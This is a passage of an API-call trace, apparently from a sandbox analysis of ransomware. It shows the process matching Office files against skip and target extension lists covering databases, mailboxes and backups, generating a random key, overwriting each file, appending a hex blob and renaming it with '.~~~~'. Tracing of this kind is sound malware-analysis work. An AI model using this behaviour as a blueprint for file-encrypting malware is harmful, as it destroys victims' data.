	[0142.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".sys") returned 0x0
	[0142.467] lstrlenW (lpString=".msc") returned 4
	[0142.467] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".msc") returned 0x0
	[0142.467] lstrlenW (lpString=".com") returned 4
	[0142.467] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".com") returned 0x0
	[0142.467] lstrlenW (lpString=".lnk") returned 4
	[0142.467] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".lnk") returned 0x0
	[0142.467] lstrlenW (lpString=".msp") returned 4
	[0142.467] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".msp") returned 0x0
	[0142.467] lstrlenW (lpString=".pif") returned 4
	[0142.467] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".pif") returned 0x0
	[0142.467] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.467] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0142.579] lstrlenW (lpString=".sqb") returned 4
	[0142.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".sqb") returned 0x0
	[0142.579] lstrlenW (lpString=".ost") returned 4
	[0142.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".ost") returned 0x0
	[0142.579] lstrlenW (lpString=".txt") returned 4
	[0142.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".txt") returned 0x0
	[0142.580] lstrlenW (lpString=".mdt") returned 4
	[0142.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".mdt") returned 0x0
	[0142.580] lstrlenW (lpString=".BDB") returned 4
	[0142.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".BDB") returned 0x0
	[0142.580] lstrlenW (lpString=".eql") returned 4
	[0142.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".eql") returned 0x0
	[0142.580] lstrlenW (lpString=".DBF") returned 4
	[0142.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".DBF") returned 0x0
	[0142.580] lstrlenW (lpString=".EQL") returned 4
	[0142.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".EQL") returned 0x0
	[0142.580] lstrlenW (lpString=".FDB") returned 4
	[0142.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".FDB") returned 0x0
	[0142.580] lstrlenW (lpString=".EDB") returned 4
	[0142.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".EDB") returned 0x0
	[0142.580] lstrlenW (lpString=".DACPAC") returned 7
	[0142.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.580] lstrlenW (lpString=".VHD") returned 4
	[0142.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".VHD") returned 0x0
	[0142.580] lstrlenW (lpString=".DBV") returned 4
	[0142.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".DBV") returned 0x0
	[0142.580] lstrlenW (lpString=".dacpac") returned 7
	[0142.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.580] lstrlenW (lpString=".sdf") returned 4
	[0142.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".sdf") returned 0x0
	[0142.581] lstrlenW (lpString=".accdb") returned 6
	[0142.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".accdb") returned 0x0
	[0142.581] lstrlenW (lpString=".DBX") returned 4
	[0142.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".DBX") returned 0x0
	[0142.581] lstrlenW (lpString=".MDT") returned 4
	[0142.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".MDT") returned 0x0
	[0142.581] lstrlenW (lpString=".SQB") returned 4
	[0142.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".SQB") returned 0x0
	[0142.581] lstrlenW (lpString=".vhd") returned 4
	[0142.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".vhd") returned 0x0
	[0142.581] lstrlenW (lpString=".bac") returned 4
	[0142.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".bac") returned 0x0
	[0142.581] lstrlenW (lpString=".mdf") returned 4
	[0142.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".mdf") returned 0x0
	[0142.581] lstrlenW (lpString=".BAK") returned 4
	[0142.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".BAK") returned 0x0
	[0142.581] lstrlenW (lpString=".BAC") returned 4
	[0142.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".BAC") returned 0x0
	[0142.581] lstrlenW (lpString=".dbs") returned 4
	[0142.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".dbs") returned 0x0
	[0142.581] lstrlenW (lpString=".vhdx") returned 5
	[0142.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.581] lstrlenW (lpString=".NDF") returned 4
	[0142.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".NDF") returned 0x0
	[0142.582] lstrlenW (lpString=".dat") returned 4
	[0142.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".dat") returned 0x0
	[0142.582] lstrlenW (lpString=".DBS") returned 4
	[0142.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".DBS") returned 0x0
	[0142.582] lstrlenW (lpString=".CKP") returned 4
	[0142.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".CKP") returned 0x0
	[0142.582] lstrlenW (lpString=".edb") returned 4
	[0142.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".edb") returned 0x0
	[0142.582] lstrlenW (lpString=".PST") returned 4
	[0142.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".PST") returned 0x0
	[0142.582] lstrlenW (lpString=".dbf") returned 4
	[0142.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".dbf") returned 0x0
	[0142.582] lstrlenW (lpString=".SQL") returned 4
	[0142.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".SQL") returned 0x0
	[0142.582] lstrlenW (lpString=".pst") returned 4
	[0142.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".pst") returned 0x0
	[0142.582] lstrlenW (lpString=".dbv") returned 4
	[0142.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".dbv") returned 0x0
	[0142.582] lstrlenW (lpString=".SDF") returned 4
	[0142.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".SDF") returned 0x0
	[0142.582] lstrlenW (lpString=".dtxs") returned 5
	[0142.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.582] lstrlenW (lpString=".db3") returned 4
	[0142.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".db3") returned 0x0
	[0142.582] lstrlenW (lpString=".OST") returned 4
	[0142.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".OST") returned 0x0
	[0142.582] lstrlenW (lpString=".dbx") returned 4
	[0142.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".dbx") returned 0x0
	[0142.583] lstrlenW (lpString=".DB3") returned 4
	[0142.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".DB3") returned 0x0
	[0142.583] lstrlenW (lpString=".DAT") returned 4
	[0142.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".DAT") returned 0x0
	[0142.583] lstrlenW (lpString=".VHDX") returned 5
	[0142.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.583] lstrlenW (lpString=".ndf") returned 4
	[0142.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".ndf") returned 0x0
	[0142.583] lstrlenW (lpString=".DB") returned 3
	[0142.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".DB") returned 0x0
	[0142.583] lstrlenW (lpString=".sql") returned 4
	[0142.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".sql") returned 0x0
	[0142.583] lstrlenW (lpString=".MYD") returned 4
	[0142.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".MYD") returned 0x0
	[0142.583] lstrlenW (lpString=".DBT") returned 4
	[0142.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".DBT") returned 0x0
	[0142.583] lstrlenW (lpString=".ACCDB") returned 6
	[0142.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.583] lstrlenW (lpString=".fdb") returned 4
	[0142.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".fdb") returned 0x0
	[0142.583] lstrlenW (lpString=".bak") returned 4
	[0142.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".bak") returned 0x0
	[0142.583] lstrlenW (lpString=".myd") returned 4
	[0142.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".myd") returned 0x0
	[0142.583] lstrlenW (lpString=".DTXS") returned 5
	[0142.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.584] lstrlenW (lpString=".ckp") returned 4
	[0142.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".ckp") returned 0x0
	[0142.584] lstrlenW (lpString=".dbt") returned 4
	[0142.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".dbt") returned 0x0
	[0142.584] lstrlenW (lpString=".db") returned 3
	[0142.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".db") returned 0x0
	[0142.584] lstrlenW (lpString=".TXT") returned 4
	[0142.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".TXT") returned 0x0
	[0142.584] lstrlenW (lpString=".MDF") returned 4
	[0142.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".MDF") returned 0x0
	[0142.584] lstrlenW (lpString=".bdb") returned 4
	[0142.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".bdb") returned 0x0
	[0142.584] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0142.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.584] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0142.585] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.585] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0142.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0142.586] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26257599086) returned 1
	[0142.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbe647270, dwHighDateTime=0x1d60e1e)) 
	[0142.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0142.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0142.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0142.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa9e0
	[0142.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa9e0 | out: hHeap=0x300000) returned 1
	[0142.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9d38
	[0142.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0142.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9d38 | out: hHeap=0x300000) returned 1
	[0142.587] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0142.587] GetLastError () returned 0x0
	[0142.587] GetLastError () returned 0x0
	[0142.587] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0142.587] GetLastError () returned 0x0
	[0142.588] GetLastError () returned 0x0
	[0142.588] ReadFile (in: hFile=0xc4, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x24dfec0*=0x1b75, lpOverlapped=0x0) returned 1
	[0142.590] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffe48b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.590] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x1b75, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x1b75, lpOverlapped=0x0) returned 1
	[0142.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0142.590] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.590] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.591] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.591] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.591] CloseHandle (hObject=0xc4) returned 1
	[0142.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9d38
	[0142.591] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1f.gif.~~~~")) returned 1
	[0142.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9d38 | out: hHeap=0x300000) returned 1
	[0142.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0142.594] GetLastError () returned 0x0
	[0142.594] RtlWakeConditionVariable () returned 0x0
	[0142.594] GetCurrentThreadId () returned 0x3a4
	[0142.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".scr") returned 0x0
	[0142.594] lstrlenW (lpString=".cmd") returned 4
	[0142.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".cmd") returned 0x0
	[0142.594] lstrlenW (lpString=".dll") returned 4
	[0142.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".dll") returned 0x0
	[0142.594] lstrlenW (lpString=".bat") returned 4
	[0142.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".bat") returned 0x0
	[0142.594] lstrlenW (lpString=".cpl") returned 4
	[0142.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".cpl") returned 0x0
	[0142.594] lstrlenW (lpString=".sys") returned 4
	[0142.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".sys") returned 0x0
	[0142.594] lstrlenW (lpString=".msc") returned 4
	[0142.594] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".msc") returned 0x0
	[0142.595] lstrlenW (lpString=".com") returned 4
	[0142.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".com") returned 0x0
	[0142.595] lstrlenW (lpString=".lnk") returned 4
	[0142.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".lnk") returned 0x0
	[0142.595] lstrlenW (lpString=".msp") returned 4
	[0142.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".msp") returned 0x0
	[0142.595] lstrlenW (lpString=".pif") returned 4
	[0142.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".pif") returned 0x0
	[0142.595] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.595] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir26f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0142.599] lstrlenW (lpString=".sqb") returned 4
	[0142.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".sqb") returned 0x0
	[0142.599] lstrlenW (lpString=".ost") returned 4
	[0142.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".ost") returned 0x0
	[0142.599] lstrlenW (lpString=".txt") returned 4
	[0142.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".txt") returned 0x0
	[0142.599] lstrlenW (lpString=".mdt") returned 4
	[0142.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".mdt") returned 0x0
	[0142.599] lstrlenW (lpString=".BDB") returned 4
	[0142.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".BDB") returned 0x0
	[0142.599] lstrlenW (lpString=".eql") returned 4
	[0142.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".eql") returned 0x0
	[0142.599] lstrlenW (lpString=".DBF") returned 4
	[0142.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".DBF") returned 0x0
	[0142.599] lstrlenW (lpString=".EQL") returned 4
	[0142.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".EQL") returned 0x0
	[0142.599] lstrlenW (lpString=".FDB") returned 4
	[0142.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".FDB") returned 0x0
	[0142.599] lstrlenW (lpString=".EDB") returned 4
	[0142.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF", lpSrch=".EDB") returned 0x0
	[0142.600] lstrlenW (lpString=".DACPAC") returned 7
